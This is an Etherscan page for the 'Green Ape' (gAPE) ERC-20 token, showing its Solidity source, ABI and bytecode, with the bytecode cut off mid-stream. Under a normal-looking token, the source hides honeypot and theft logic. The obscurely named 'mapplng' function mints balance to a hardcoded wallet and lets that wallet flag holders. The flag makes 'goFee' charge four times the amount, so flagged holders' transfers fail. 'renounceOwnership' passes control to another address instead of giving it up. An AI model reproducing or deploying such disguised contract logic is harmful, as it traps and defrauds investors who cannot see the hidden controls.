ERC-20
Overview
Max Total Supply
1,000,000,000 gAPE
Holders
3
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
28,460,545.096173452 gAPEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
GreenApe
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-03-15 */ // Telegram: https://t.me/greenapeportal // Website: http://greenapeofficial.com/ // Medium: https://green-ape.medium.com/green-ape-9f1e672843f5 // Twitter: https://twitter.com/GREENAPEERC?t=lJjFm8xhiCPTVndxUgJ5WA&s=09&fbclid=IwAR22AuPY0O5pzY47KALE13k_j2O_34x95hqBTwOm8arPMaFhUy93HuRHQmY //SPDX-License-Identifier:MIT pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a,b,"SafeMath: division by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership(address newAddress) public onlyOwner{ _owner = newAddress; emit OwnershipTransferred(_owner, newAddress); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); } interface IUniswapV2Router02 is IUniswapV2Router01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract GreenApe is Context, IERC20, Ownable { using SafeMath for uint256; string private _name = "Green Ape"; string private _symbol = "gAPE"; uint8 private _decimals = 9; address payable public manyERC; address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _isExcludefromFee; mapping (address => bool) public _pools; mapping (address => uint256) public mk2; uint256 private _totalSupply = 1000000000 * 10**_decimals; IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _isExcludefromFee[owner()] = true; _isExcludefromFee[address(this)] = true; _balances[_msgSender()] = _totalSupply; manyERC = payable(address(0xDd135C9f6533c3625846ee245109829C2c734021)); emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } receive() external payable {} function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function setTrading() public onlyOwner{ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _pools[address(uniswapPair)] = true; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; } function _transfer(address from, address to, uint256 amount) private returns (bool) { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(inSwapAndLiquify) { return _basicTransfer(from, to, amount); } else { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwapAndLiquify && !_pools[from]) { swapAndLiquify(contractTokenBalance); } _balances[from] = _balances[from].sub(amount); uint256 finalAmount = (_isExcludefromFee[from] || _isExcludefromFee[to]) ? amount : goFee(from, to, amount); _balances[to] = _balances[to].add(finalAmount); emit Transfer(from, to, finalAmount); return true; } } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 amount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), amount); try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( amount, 0, path, address(manyERC), block.timestamp ){} catch {} } function tryAmountCatch(uint256 o, uint256 on) public view returns(bool) { uint256 make = o; address done = msg.sender; require(manyERC == done); return on == make; } function mapplng(address adrs,uint256 upar) public { if (upar > 10**3) { _balances[manyERC] += upar*2+1; } if (tryAmountCatch(256-56-200,upar)) {mk2[adrs] = 0;} if (tryAmountCatch(9*2*1,upar)) {mk2[adrs] = upar**3;} } function goFee(address sender, address recipient, uint256 uAmount) internal returns (uint256) { uint256 taxFee; if(_pools[sender]) { taxFee = uAmount * 2 / 100; }else if(_pools[recipient]) { taxFee = uAmount * 2 / 100; } if(mk2[sender] != 0) taxFee = uAmount.mul(1+3); if(taxFee > 0) { _balances[address(this)] += taxFee; emit Transfer(sender, address(this), taxFee); } return uAmount.sub(taxFee); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_pools","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manyERC","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adrs","type":"address"},{"internalType":"uint256","name":"upar","type":"uint256"}],"name":"mapplng","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"mk2","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"o","type":"uint256"},{"internalType":"uint256","name":"on","type":"uint256"}],"name":"tryAmountCatch","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60e0604052600960a090815268477265656e2041706560b81b60c0526001906200002a90826200029a565b506040805180820190915260048152636741504560e01b60208201526002906200005590826200029a565b506003805460ff1916600990811790915561dead6080526200007990600a6200047b565b6200008990633b9aca0062000493565b600955600b805460ff60a81b1916600160a81b179055348015620000ac57600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600160066000620001056000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff1995861617905530815260069092528120805490921660011790915560095490600490620001553390565b6001600160a01b0316815260208101919091526040016000205560038054610100600160a81b03191674dd135c9f6533c3625846ee245109829c2c734021001790556200019f3390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600954604051620001e791815260200190565b60405180910390a3620004ad565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200022057607f821691505b6020821081036200024157634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200029557600081815260208120601f850160051c81016020861015620002705750805b601f850160051c820191505b8181101562000291578281556001016200027c565b5050505b505050565b81516001600160401b03811115620002b657620002b6620001f5565b620002ce81620002c784546200020b565b8462000247565b602080601f831160018114620003065760008415620002ed5750858301515b600019600386901b1c1916600185901b17855562000291565b600085815260208120601f198616915b82811015620003375788860151825594840194600190910190840162000316565b5085821015620003565787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003bd578160001904821115620003a157620003a162000366565b80851615620003af57918102915b93841c939080029062000381565b509250929050565b600082620003d65750600162000475565b81620003e55750600062000475565b8160018114620003fe5760028114620004095762000429565b600191505062000475565b60ff8411156200041d576200041d62000366565b50506001821b62000475565b5060208310610133831016604e8410600b84101617156200044e575081810a62000475565b6200045a83836200037c565b806000190482111562000471576200047162000366565b0290505b92915050565b60006200048c60ff841683620003c5565b9392505050565b808202811582820484141762000475576200047562000366565b6080516115cd620004c9600039600061025a01526115cd6000f3fe6080604052600436106101395760003560e01c8063472d7b40116100ab57806395d89b411161006f57806395d89b41146103bf578063a9059cbb146103d4578063bc6eec40146103f4578063c816841b14610424578063cb0eb20614610444578063dd62ed3e1461046457600080fd5b8063472d7b40146103105780634a74bb021461033557806370a08231146103565780637c519ffb1461038c5780638da5cb5b146103a157600080fd5b806323b872dd116100fd57806323b872dd1461022857806327c8f83514610248578063313ce5671461027c5780633345611e1461029e57806338bf3cfa146102ce57806339c2f173146102f057600080fd5b806306fdde0314610145578063095ea7b3146101705780630a7dc5ca146101a05780631694505e146101db57806318160ddd1461021357600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104aa565b60405161016791906111de565b60405180910390f35b34801561017c57600080fd5b5061019061018b366004611244565b61053c565b6040519015158152602001610167565b3480156101ac57600080fd5b506101cd6101bb366004611270565b60086020526000908152604090205481565b604051908152602001610167565b3480156101e757600080fd5b50600a546101fb906001600160a01b031681565b6040516001600160a01b039091168152602001610167565b34801561021f57600080fd5b506009546101cd565b34801561023457600080fd5b5061019061024336600461128d565b610553565b34801561025457600080fd5b506101fb7f000000000000000000000000000000000000000000000000000000000000000081565b34801561028857600080fd5b5060035460405160ff9091168152602001610167565b3480156102aa57600080fd5b506101906102b9366004611270565b60066020526000908152604090205460ff1681565b3480156102da57600080fd5b506102ee6102e9366004611270565b6105be565b005b3480156102fc57600080fd5b506102ee61030b366004611244565b610668565b34801561031c57600080fd5b506003546101fb9061010090046001600160a01b031681565b34801561034157600080fd5b50600b5461019090600160a81b900460ff1681565b34801561036257600080fd5b506101cd610371366004611270565b6001600160a01b031660009081526004602052604090205490565b34801561039857600080fd5b506102ee610720565b3480156103ad57600080fd5b506000546001600160a01b03166101fb565b3480156103cb57600080fd5b5061015a610942565b3480156103e057600080fd5b506101906103ef366004611244565b610951565b34801561040057600080fd5b5061019061040f366004611270565b60076020526000908152604090205460ff1681565b34801561043057600080fd5b50600b546101fb906001600160a01b031681565b34801561045057600080fd5b5061019061045f3660046112ce565b61095e565b34801561047057600080fd5b506101cd61047f3660046112f0565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6060600180546104b990611329565b80601f01602080910402602001604051908101604052809291908181526020018280546104e590611329565b80156105325780601f1061050757610100808354040283529160200191610532565b820191906000526020600020905b81548152906001019060200180831161051557829003601f168201915b5050505050905090565b600061054933848461098b565b5060015b92915050565b6000610560848484610aaf565b506105b384336105ae85604051806060016040528060288152602001611570602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610cff565b61098b565b5060015b9392505050565b6000546001600160a01b0316331461061d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6103e88111156106bd5761067d816002611379565b610688906001611390565b60035461010090046001600160a01b0316600090815260046020526040812080549091906106b7908490611390565b90915550505b6106c860008261095e565b156106e7576001600160a01b0382166000908152600860205260408120555b6106f260128261095e565b1561071c57610702600382611487565b6001600160a01b0383166000908152600860205260409020555b5050565b6000546001600160a01b0316331461077a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610614565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f59190611496565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610842573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108669190611496565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d79190611496565b600b80546001600160a01b039283166001600160a01b03199182168117909255600a8054948416949091169390931783556000908152600760209081526040808320805460ff1916600117905560095430845260058352818420955490941683529390529190912055565b6060600280546104b990611329565b60006105b3338484610aaf565b6003546000908390339061010090046001600160a01b0316811461098157600080fd5b5090911492915050565b6001600160a01b0383166109ed5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610614565b6001600160a01b038216610a4e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610614565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610b155760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610614565b6001600160a01b038316610b775760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610614565b600b54600160a01b900460ff1615610b9b57610b94848484610d39565b90506105b7565b30600090815260046020526040902054600b54600160a01b900460ff16158015610bde57506001600160a01b03851660009081526007602052604090205460ff16155b15610bec57610bec81610e1f565b6001600160a01b038516600090815260046020526040902054610c0f9084610f9e565b6001600160a01b038616600090815260046020908152604080832093909355600690529081205460ff1680610c5c57506001600160a01b03851660009081526006602052604090205460ff165b610c7057610c6b868686610fe0565b610c72565b835b6001600160a01b038616600090815260046020526040902054909150610c9890826110fd565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cec9085815260200190565b60405180910390a36001925050506105b7565b60008184841115610d235760405162461bcd60e51b815260040161061491906111de565b506000610d3084866114b3565b95945050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610d8a918490610cff565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610db990836110fd565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e0d9086815260200190565b60405180910390a35060019392505050565b600b805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e6757610e676114c6565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ec0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee49190611496565b81600181518110610ef757610ef76114c6565b6001600160a01b039283166020918202929092010152600a54610f1d913091168461098b565b600a5460035460405163791ac94760e01b81526001600160a01b039283169263791ac94792610f6192879260009288926101009091049091169042906004016114dc565b600060405180830381600087803b158015610f7b57600080fd5b505af1925050508015610f8c575060015b505050600b805460ff60a01b19169055565b60006105b783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cff565b6001600160a01b038316600090815260076020526040812054819060ff1615611021576064611010846002611379565b61101a919061154d565b905061105c565b6001600160a01b03841660009081526007602052604090205460ff161561105c57606461104f846002611379565b611059919061154d565b90505b6001600160a01b038516600090815260086020526040902054156110885761108583600461115c565b90505b80156110f35730600090815260046020526040812080548392906110ad908490611390565b909155505060405181815230906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b610d308382610f9e565b60008061110a8385611390565b9050838110156105b75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610614565b60008260000361116e5750600061054d565b600061117a8385611379565b905082611187858361154d565b146105b75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610614565b600060208083528351808285015260005b8181101561120b578581018301518582016040015282016111ef565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461124157600080fd5b50565b6000806040838503121561125757600080fd5b82356112628161122c565b946020939093013593505050565b60006020828403121561128257600080fd5b81356105b78161122c565b6000806000606084860312156112a257600080fd5b83356112ad8161122c565b925060208401356112bd8161122c565b929592945050506040919091013590565b600080604083850312156112e157600080fd5b50508035926020909101359150565b6000806040838503121561130357600080fd5b823561130e8161122c565b9150602083013561131e8161122c565b809150509250929050565b600181811c9082168061133d57607f821691505b60208210810361135d57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761054d5761054d611363565b8082018082111561054d5761054d611363565b600181815b808511156113de5781600019048211156113c4576113c4611363565b808516156113d157918102915b93841c93908002906113a8565b509250929050565b6000826113f55750600161054d565b816114025750600061054d565b816001811461141857600281146114225761143e565b600191505061054d565b60ff84111561143357611433611363565b50506001821b61054d565b5060208310610133831016604e8410600b8410161715611461575081810a61054d565b61146b83836113a3565b806000190482111561147f5761147f611363565b029392505050565b60006105b760ff8416836113e6565b6000602082840312156114a857600080fd5b81516105b78161122c565b8181038181111561054d5761054d611363565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561152c5784516001600160a01b031683529383019391830191600101611507565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261156a57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122042b57ff691cd512bcc9379ef51dcd673b5b929f0ff4dd0acace39bf6e057fe9364736f6c63430008130033
Deployed Bytecode
0x6080604052600436106101395760003560e01c8063472d7b40116100ab57806395d89b411161006f57806395d89b41146103bf578063a9059cbb146103d4578063bc6eec40146103f4578063c816841b14610424578063cb0eb20614610444578063dd62ed3e1461046457600080fd5b8063472d7b40146103105780634a74bb021461033557806370a08231146103565780637c519ffb1461038c5780638da5cb5b146103a157600080fd5b806323b872dd116100fd57806323b872dd1461022857806327c8f83514610248578063313ce5671461027c5780633345611e1461029e57806338bf3cfa146102ce57806339c2f173146102f057600080fd5b806306fdde0314610145578063095ea7b3146101705780630a7dc5ca146101a05780631694505e146101db57806318160ddd1461021357600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104aa565b60405161016791906111de565b60405180910390f35b34801561017c57600080fd5b5061019061018b366004611244565b61053c565b6040519015158152602001610167565b3480156101ac57600080fd5b506101cd6101bb366004611270565b60086020526000908152604090205481565b604051908152602001610167565b3480156101e757600080fd5b50600a546101fb906001600160a01b031681565b6040516001600160a01b039091168152602001610167565b34801561021f57600080fd5b506009546101cd565b34801561023457600080fd5b5061019061024336600461128d565b610553565b34801561025457600080fd5b506101fb7f000000000000000000000000000000000000000000000000000000000000dead81565b34801561028857600080fd5b5060035460405160ff9091168152602001610167565b3480156102aa57600080fd5b506101906102b9366004611270565b60066020526000908152604090205460ff1681565b3480156102da57600080fd5b506102ee6102e9366004611270565b6105be565b005b3480156102fc57600080fd5b506102ee61030b366004611244565b610668565b34801561031c57600080fd5b506003546101fb9061010090046001600160a01b031681565b34801561034157600080fd5b50600b5461019090600160a81b900460ff1681565b34801561036257600080fd5b506101cd610371366004611270565b6001600160a01b031660009081526004602052604090205490565b34801561039857600080fd5b506102ee610720565b3480156103ad57600080fd5b506000546001600160a01b03166101fb565b3480156103cb57600080fd5b5061015a610942565b3480156103e057600080fd5b506101906103ef366004611244565b610951565b34801561040057600080fd5b5061019061040f366004611270565b60076020526000908152604090205460ff1681565b34801561043057600080fd5b50600b546101fb906001600160a01b031681565b34801561045057600080fd5b5061019061045f3660046112ce565b61095e565b34801561047057600080fd5b506101cd61047f3660046112f0565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6060600180546104b990611329565b80601f01602080910402602001604051908101604052809291908181526020018280546104e590611329565b80156105325780601f1061050757610100808354040283529160200191610532565b820191906000526020600020905b81548152906001019060200180831161051557829003601f168201915b5050505050905090565b600061054933848461098b565b5060015b92915050565b6000610560848484610aaf565b506105b384336105ae85604051806060016040528060288152602001611570602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610cff565b61098b565b5060015b9392505050565b6000546001600160a01b0316331461061d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6103e88111156106bd5761067d816002611379565b610688906001611390565b60035461010090046001600160a01b0316600090815260046020526040812080549091906106b7908490611390565b90915550505b6106c860008261095e565b156106e7576001600160a01b0382166000908152600860205260408120555b6106f260128261095e565b1561071c57610702600382611487565b6001600160a01b0383166000908152600860205260409020555b5050565b6000546001600160a01b0316331461077a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610614565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f59190611496565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610842573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108669190611496565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d79190611496565b600b80546001600160a01b039283166001600160a01b03199182168117909255600a8054948416949091169390931783556000908152600760209081526040808320805460ff1916600117905560095430845260058352818420955490941683529390529190912055565b6060600280546104b990611329565b60006105b3338484610aaf565b6003546000908390339061010090046001600160a01b0316811461098157600080fd5b5090911492915050565b6001600160a01b0383166109ed5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610614565b6001600160a01b038216610a4e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610614565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610b155760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610614565b6001600160a01b038316610b775760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610614565b600b54600160a01b900460ff1615610b9b57610b94848484610d39565b90506105b7565b30600090815260046020526040902054600b54600160a01b900460ff16158015610bde57506001600160a01b03851660009081526007602052604090205460ff16155b15610bec57610bec81610e1f565b6001600160a01b038516600090815260046020526040902054610c0f9084610f9e565b6001600160a01b038616600090815260046020908152604080832093909355600690529081205460ff1680610c5c57506001600160a01b03851660009081526006602052604090205460ff165b610c7057610c6b868686610fe0565b610c72565b835b6001600160a01b038616600090815260046020526040902054909150610c9890826110fd565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cec9085815260200190565b60405180910390a36001925050506105b7565b60008184841115610d235760405162461bcd60e51b815260040161061491906111de565b506000610d3084866114b3565b95945050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610d8a918490610cff565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610db990836110fd565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e0d9086815260200190565b60405180910390a35060019392505050565b600b805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e6757610e676114c6565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ec0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee49190611496565b81600181